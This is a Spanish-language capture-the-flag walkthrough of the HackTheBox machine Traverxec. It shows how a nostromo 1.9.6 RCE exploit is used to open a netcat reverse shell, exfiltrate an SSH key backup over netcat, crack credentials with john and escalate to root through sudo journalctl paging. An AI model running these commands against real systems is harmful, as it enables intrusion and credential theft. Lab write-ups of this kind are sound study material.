HackTheBox - Traverxec
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: RCE (CVE-2019-16278), Information Leakage, Misconfiguration
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Traverxec
b. Vemos las versiones de los servicios que se están ejecutando en los puertos
nmap -p22,80 -sCV <IP> -oN versiones
- Al buscar por vulnerabilidades de
nostromo 1.9.6
encontramos CVE-2019-16278, con el cual logramos un RCE (Remote Command Execution)
1 2 3
python2 nostromo_rce.py 10.10.10.165 80 'id' <SNIP> uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Al buscar por vulnerabilidades de
c. Como ya podemos ejecutar comandos entablamos una reverse shell
, nos ponemos en escucha con nc
previamente.
1
2
3
4
5
6
7
python2 nostromo_rce.py 10.10.10.165 80 'nc -e bash 10.10.14.115 443'
----------------------------------------------------------------------
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.115] from (UNKNOWN) [10.10.10.165] 54542
script /dev/null -c bash
www-data@traverxec:/usr/bin$
Escalada de Privilegios 💹
a. Existe david como usuario en el sistema
1
2
www-data@traverxec:/home$ ls
david
b. Investigamos por archivos que tengan como propietario al usuario www-data
1
2
3
4
5
find / -user www-data 2>/dev/null | grep -vE "proc"
<SNIP>
/var/nostromo/logs
/var/nostromo/logs/nhttpd.pid
En el directorio /var/nostromo/conf podemos ver archivos de configuración de nostromo
nhttpd.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
# MAIN [MANDATORY] servername traverxec.htb serverlisten * serveradmin david@traverxec.htb serverroot /var/nostromo servermimes conf/mimes docroot /var/nostromo/htdocs docindex index.html # LOGS [OPTIONAL] logpid logs/nhttpd.pid # SETUID [RECOMMENDED] user www-data # BASIC AUTHENTICATION [OPTIONAL] htaccess .htaccess htpasswd /var/nostromo/conf/.htpasswd # ALIASES [OPTIONAL] /icons /var/nostromo/icons # HOMEDIRS [OPTIONAL] homedirs /home homedirs_public public_www
Añadimos el dominio traverxec.htb a nuestro archivo /etc/hosts
En el archivo .htpasswd vemos la contraseña del usuario david
1 2
www-data@traverxec:/var/nostromo/conf$ cat .htpasswd david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Al crackearla con john vemos que en texto plano es
Nowonly4me
c. Si leemos un poco de documentación sobre nostromo, observamos que podemos acceder directorios de esta forma ~[Directorio]
y en caso de necesitar auntenticación debemos acceder a .htaccess
Después de intentar de varias formas, ninguna funciona
1 2 3 4
http://david:Nowonly4me@traverxec.htb/~david/ http://traverxec.htb/~david/ http://traverxec.htb/~david/.htaccess http://david:Nowonly4me@traverxec.htb/~david/.htaccess
Mensaje de la página web.
d. En el archivo nhttpd.conf existe la configuración
1
2
homedirs /home
homedirs_public public_www
Esto nos indica que los directorios a los que podemos acceder con nostromo son todos los que están en home (Direcctorio del usuario david) y que tiene un directorio accesible public_www
1 2 3 4 5 6
www-data@traverxec:/home$ cd david/public_www www-data@traverxec:/home/david/public_www$ ls index.html protected-file-area www-data@traverxec:/home/david/public_www$ cd protected-file-area/ www-data@traverxec:/home/david/public_www/protected-file-area$ ls backup-ssh-identity-files.tgz
e. Tranferimos el archivo backup-ssh-identity-files.tgz a nuestra Máquina Atacante
- Máquina Atacante: nc -lvnp 4444 > backup.tgz
- Máquina Víctima: nc
4444 < backup-ssh-identity-files.tgz
Descomprimos el fichero tar -xzvf backup.tgz y encontramos los pares de claves RSA del usuario david, pero la clave está encriptada, así que extraemos el hash con ssh2john id_rsa > hash
1
2
john hash -w=/home/kali/Desktop/rockyou.txt
id_rsa:hunter
Contraseña en texto claro del fichero id_rsa
f. Nos autenticamos en el servicio ssh y vemos que tenemos un directorio /bin
1
2
david@traverxec:~/bin$ ls
server-stats.head server-stats.sh
server-status.sh
1 2
<SNIP> /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
Tenemos permiso para ejecutar journalctl como root
g. Para “forzar” la paginación de journalctl y podemos ejecutar comandos tenemos que minizar el tamaño de nuestra terminal
Por último leemos las flags
1
2
3
4
root@traverxec:/home/david/bin# cat /root/root.txt
304e9063bbeecd398b1e260aeb580033
root@traverxec:/home/david/bin# cat /home/david/user.txt
8340b5984d36a505da9adc72f1681260